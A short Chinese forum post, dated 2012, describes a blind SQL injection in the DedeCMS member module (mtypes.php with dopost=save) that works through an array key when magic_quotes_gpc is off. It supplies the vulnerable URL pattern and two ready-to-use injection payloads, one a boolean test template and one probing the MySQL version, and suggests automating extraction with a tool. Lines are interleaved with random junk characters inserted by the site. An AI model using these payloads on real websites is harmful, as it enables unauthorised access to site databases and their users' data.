需要magic_quotes_gpc = Off,所以说是鸡肋啊.
0 S3 m) J, ~) Z: z, J0 o" z% o5 e. p% C6 t& G
/ c+ I; x& Z9 E7 I7 W/ h
发生在数组key里的注射漏洞,有点意思.
/ m; S, {0 w1 g" m0 V% h; L
3 b, ?0 y: s6 k2 P这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
: s$ U( s( Q6 b; S 8 l! [, j; u5 j! C* a9 Y _' P: r
http://www.xxx.com /dede/member/mtypes.php?dopost=save- @7 r" R$ k2 d4 k" l, d4 C
5 q. G7 a7 w# B8 D# B& }* F2 h7 M
exploit:5 ~# N+ Z' ]0 b; e" \7 ?
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
6 W0 Y8 f- E8 V9 N% d0 ~mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r8 A9 Y1 D; d+ A7 ~* G- s
|
发表于 2012-12-20 08:08:09
收藏
支持
反对